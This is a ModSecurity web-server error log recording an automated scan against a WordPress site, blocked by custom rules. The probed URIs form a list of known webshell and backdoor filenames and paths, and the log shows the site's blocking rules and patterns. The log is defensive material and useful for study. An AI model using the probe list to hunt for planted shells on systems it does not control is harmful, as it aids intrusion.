[Thu Nov 20 07:08:14.562919 2025] [:error] [pid 34405:tid 34419] [client 185.223.152.91:42073] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/moderation.php"] [unique_id "aR5N3jFpvu8oRK7ATfuFtgAAAQw"]
[Thu Nov 20 07:08:15.230610 2025] [:error] [pid 55342:tid 55394] [client 185.223.152.89:25957] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/classwithtostring.php"] [unique_id "aR5N37g6x32Tvk7fIG9NLAAAAFY"]
[Thu Nov 20 07:08:15.907033 2025] [:error] [pid 55343:tid 55406] [client 185.223.152.83:63707] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aR5N31WlO3EnyVMV7w4MrAAAAIc"]
[Thu Nov 20 07:08:16.576089 2025] [:error] [pid 55430:tid 55436] [client 185.223.152.85:30147] [client 185.223.152.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/jindex.php"] [unique_id "aR5N4PPZXaIMEU4pE7tSOQAAAMM"]
[Thu Nov 20 07:08:17.262235 2025] [:error] [pid 55430:tid 55439] [client 185.223.152.91:36303] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aR5N4fPZXaIMEU4pE7tSOgAAAMY"]
[Thu Nov 20 07:08:17.935038 2025] [:error] [pid 55342:tid 55384] [client 185.223.152.76:56393] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/erinyani/default.php"] [unique_id "aR5N4bg6x32Tvk7fIG9NNgAAAEw"]
[Thu Nov 20 07:08:18.617164 2025] [:error] [pid 34405:tid 34429] [client 185.223.152.86:48429] [client 185.223.152.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/leaf.php"] [unique_id "aR5N4jFpvu8oRK7ATfuFtwAAARY"]
[Thu Nov 20 07:08:19.284441 2025] [:error] [pid 55342:tid 55379] [client 185.223.152.75:52015] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/mainhosting/default.php"] [unique_id "aR5N47g6x32Tvk7fIG9NOQAAAEc"]
[Thu Nov 20 07:08:19.954819 2025] [:error] [pid 55430:tid 55442] [client 185.223.152.75:28629] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/about.php"] [unique_id "aR5N4_PZXaIMEU4pE7tSPAAAAMk"]
[Thu Nov 20 07:08:20.622718 2025] [:error] [pid 55340:tid 55355] [client 185.223.152.65:36653] [client 185.223.152.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/inc.php"] [unique_id "aR5N5POxD-NeMydTybDTNQAAAAo"]
[Thu Nov 20 07:08:21.298822 2025] [:error] [pid 55343:tid 55422] [client 185.223.152.76:30403] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/system_log.php"] [unique_id "aR5N5VWlO3EnyVMV7w4MrwAAAJc"]
[Thu Nov 20 07:08:21.976117 2025] [:error] [pid 34444:tid 34460] [client 185.223.152.85:48851] [client 185.223.152.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aR5N5VNEol4jlmmA_GOnmQAAAU4"]
[Thu Nov 20 07:08:22.653432 2025] [:error] [pid 55342:tid 55392] [client 185.223.152.69:55787] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/sim.php"] [unique_id "aR5N5rg6x32Tvk7fIG9NPAAAAFQ"]
[Thu Nov 20 07:08:23.322870 2025] [:error] [pid 55340:tid 55369] [client 185.223.152.76:35693] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aR5N5_OxD-NeMydTybDTOAAAABg"]
[Thu Nov 20 07:08:23.995675 2025] [:error] [pid 55340:tid 55364] [client 185.223.152.4:38001] [client 185.223.152.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/core.php"] [unique_id "aR5N5_OxD-NeMydTybDTOQAAABM"]
[Thu Nov 20 07:08:24.665900 2025] [:error] [pid 34405:tid 34411] [client 185.223.152.79:39061] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aR5N6DFpvu8oRK7ATfuFugAAAQQ"]
[Thu Nov 20 07:08:25.339758 2025] [:error] [pid 34444:tid 34461] [client 185.223.152.4:40699] [client 185.223.152.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aR5N6VNEol4jlmmA_GOnnAAAAU8"]
[Thu Nov 20 07:08:26.171756 2025] [:error] [pid 55430:tid 55451] [client 185.223.152.86:33355] [client 185.223.152.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/xml.php"] [unique_id "aR5N6vPZXaIMEU4pE7tSQgAAANI"]
[Thu Nov 20 07:08:26.838620 2025] [:error] [pid 34405:tid 34417] [client 185.223.152.69:55331] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aR5N6jFpvu8oRK7ATfuFvAAAAQo"]
[Thu Nov 20 07:08:27.543511 2025] [:error] [pid 55342:tid 55379] [client 185.223.152.68:35975] [client 185.223.152.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/images/class-config.php"] [unique_id "aR5N67g6x32Tvk7fIG9NQAAAAEc"]
[Thu Nov 20 07:08:28.214847 2025] [:error] [pid 55430:tid 55444] [client 185.223.152.76:63893] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aR5N7PPZXaIMEU4pE7tSRgAAAMs"]
[Thu Nov 20 07:08:28.885406 2025] [:error] [pid 55430:tid 55448] [client 185.223.152.84:47029] [client 185.223.152.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-mail.php"] [unique_id "aR5N7PPZXaIMEU4pE7tSSAAAAM8"]
[Thu Nov 20 07:08:29.558263 2025] [:error] [pid 34444:tid 34451] [client 185.223.152.69:31711] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/default.php"] [unique_id "aR5N7VNEol4jlmmA_GOnogAAAUU"]
[Thu Nov 20 07:08:30.228294 2025] [:error] [pid 55342:tid 55385] [client 185.223.152.77:48577] [client 185.223.152.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/back.php"] [unique_id "aR5N7rg6x32Tvk7fIG9NRAAAAE0"]
[Thu Nov 20 07:08:30.911027 2025] [:error] [pid 34444:tid 34457] [client 185.223.152.73:36277] [client 185.223.152.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aR5N7lNEol4jlmmA_GOnpQAAAUs"]
[Thu Nov 20 07:08:31.586239 2025] [:error] [pid 55342:tid 55392] [client 185.223.152.91:56049] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aR5N77g6x32Tvk7fIG9NRwAAAFQ"]
[Thu Nov 20 07:08:32.275091 2025] [:error] [pid 55342:tid 55391] [client 185.223.152.66:52611] [client 185.223.152.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/leafmailer2.8.php"] [unique_id "aR5N8Lg6x32Tvk7fIG9NSAAAAFM"]
[Thu Nov 20 07:08:33.006816 2025] [:error] [pid 55343:tid 55406] [client 185.223.152.75:58367] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "aR5N8VWlO3EnyVMV7w4MtgAAAIc"]
[Thu Nov 20 07:08:33.678606 2025] [:error] [pid 55340:tid 55358] [client 185.223.152.68:42157] [client 185.223.152.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/up.php"] [unique_id "aR5N8fOxD-NeMydTybDTPAAAAA0"]
[Thu Nov 20 07:08:34.348901 2025] [:error] [pid 55342:tid 55375] [client 185.223.152.76:43023] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wsa.php"] [unique_id "aR5N8rg6x32Tvk7fIG9NSQAAAEM"]
[Thu Nov 20 07:08:35.018114 2025] [:error] [pid 34405:tid 34409] [client 185.223.152.72:21643] [client 185.223.152.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aR5N8zFpvu8oRK7ATfuFwQAAAQI"]
[Thu Nov 20 07:08:35.689028 2025] [:error] [pid 55343:tid 55414] [client 185.223.152.84:64041] [client 185.223.152.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-l0gin.php"] [unique_id "aR5N81WlO3EnyVMV7w4MuAAAAI8"]
[Thu Nov 20 07:08:36.360037 2025] [:error] [pid 34405:tid 34410] [client 185.223.152.75:20055] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/uploads/index.php"] [unique_id "aR5N9DFpvu8oRK7ATfuFwgAAAQM"]
[Thu Nov 20 07:08:37.044098 2025] [:error] [pid 55342:tid 55389] [client 185.223.152.82:26485] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentyfifteen/shell3.php"] [unique_id "aR5N9bg6x32Tvk7fIG9NUwAAAFE"]
[Thu Nov 20 07:08:37.719883 2025] [:error] [pid 34405:tid 34428] [client 185.223.152.79:64285] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/azusa/inc/wp-host.php"] [unique_id "aR5N9TFpvu8oRK7ATfuFwwAAARU"]
[Thu Nov 20 07:08:38.390388 2025] [:error] [pid 34405:tid 34422] [client 185.223.152.88:44791] [client 185.223.152.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/better-wp-security/vendor-prod/composer/autoload.php"] [unique_id "aR5N9jFpvu8oRK7ATfuFxQAAAQ8"]
[Thu Nov 20 07:08:39.061992 2025] [:error] [pid 55342:tid 55395] [client 185.223.152.81:40513] [client 185.223.152.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/woocommerce-to-wechatapp/vendor/overtrue/wechat/src/OpenPlatform/Authorizer/MiniProgram/Domain/Current.php"] [unique_id "aR5N97g6x32Tvk7fIG9NVwAAAFc"]
[Thu Nov 20 07:08:39.731650 2025] [:error] [pid 55343:tid 55399] [client 185.223.152.65:39635] [client 185.223.152.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/an.php"] [unique_id "aR5N91WlO3EnyVMV7w4MvwAAAIA"]
[Thu Nov 20 07:08:40.412798 2025] [:error] [pid 55340:tid 55366] [client 185.223.152.68:55139] [client 185.223.152.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/ga.php"] [unique_id "aR5N-POxD-NeMydTybDTVQAAABU"]
[Thu Nov 20 07:08:41.081173 2025] [:error] [pid 34444:tid 34452] [client 185.223.152.68:33313] [client 185.223.152.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-author-name/index.php"] [unique_id "aR5N-VNEol4jlmmA_GOnpgAAAUY"]
[Thu Nov 20 07:08:41.748957 2025] [:error] [pid 34444:tid 34449] [client 185.223.152.89:29141] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/list/144.php"] [unique_id "aR5N-VNEol4jlmmA_GOnqAAAAUM"]
[Thu Nov 20 07:08:42.419014 2025] [:error] [pid 55343:tid 55403] [client 185.223.152.88:20567] [client 185.223.152.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/mach.php"] [unique_id "aR5N-lWlO3EnyVMV7w4MwgAAAIQ"]
[Thu Nov 20 07:08:43.091985 2025] [:error] [pid 34444:tid 34468] [client 185.223.152.87:31505] [client 185.223.152.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aR5N-1NEol4jlmmA_GOnqgAAAVY"]
[Thu Nov 20 07:08:43.760967 2025] [:error] [pid 34444:tid 34456] [client 185.223.152.75:54979] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/advanced-llms-txt-generator/assets/css/css_json.php"] [unique_id "aR5N-1NEol4jlmmA_GOnrAAAAUo"]
[Thu Nov 20 07:08:44.429936 2025] [:error] [pid 34444:tid 34460] [client 185.223.152.89:27533] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/kontol/kiw.php"] [unique_id "aR5N_FNEol4jlmmA_GOnrgAAAU4"]
[Thu Nov 20 07:08:45.104234 2025] [:error] [pid 34444:tid 34464] [client 185.223.152.81:55357] [client 185.223.152.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/theme-check/theme-check.php"] [unique_id "aR5N_VNEol4jlmmA_GOnsAAAAVI"]
[Thu Nov 20 07:08:45.771822 2025] [:error] [pid 55430:tid 55439] [client 185.223.152.75:50213] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/js_composer/include/templates/shortcodes/lock.php"] [unique_id "aR5N_fPZXaIMEU4pE7tSTgAAAMY"]
[Thu Nov 20 07:08:46.439141 2025] [:error] [pid 55430:tid 55435] [client 185.223.152.71:55563] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aR5N_vPZXaIMEU4pE7tSTwAAAMI"]
[Thu Nov 20 07:08:47.110868 2025] [:error] [pid 55340:tid 55354] [client 185.223.152.65:36427] [client 185.223.152.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/chosen.php"] [unique_id "aR5N__OxD-NeMydTybDTZAAAAAk"]
[Thu Nov 20 07:08:47.782414 2025] [:error] [pid 34405:tid 34431] [client 185.223.152.85:59385] [client 185.223.152.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/wp-conflg.php"] [unique_id "aR5N_zFpvu8oRK7ATfuF7AAAARg"]
[Thu Nov 20 07:08:48.454544 2025] [:error] [pid 34405:tid 34426] [client 185.223.152.73:47127] [client 185.223.152.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/cloud.php"] [unique_id "aR5OADFpvu8oRK7ATfuF7QAAARM"]
[Thu Nov 20 07:08:49.124745 2025] [:error] [pid 34444:tid 34465] [client 185.223.152.68:41699] [client 185.223.152.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/wp-content.php"] [unique_id "aR5OAVNEol4jlmmA_GOntAAAAVM"]
[Thu Nov 20 07:08:49.793786 2025] [:error] [pid 55342:tid 55395] [client 185.223.152.78:27961] [client 185.223.152.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-post-data.php"] [unique_id "aR5OAbg6x32Tvk7fIG9NfgAAAFc"]
[Thu Nov 20 07:08:50.461652 2025] [:error] [pid 55343:tid 55411] [client 185.223.152.76:37359] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aR5OAlWlO3EnyVMV7w4MxAAAAIw"]
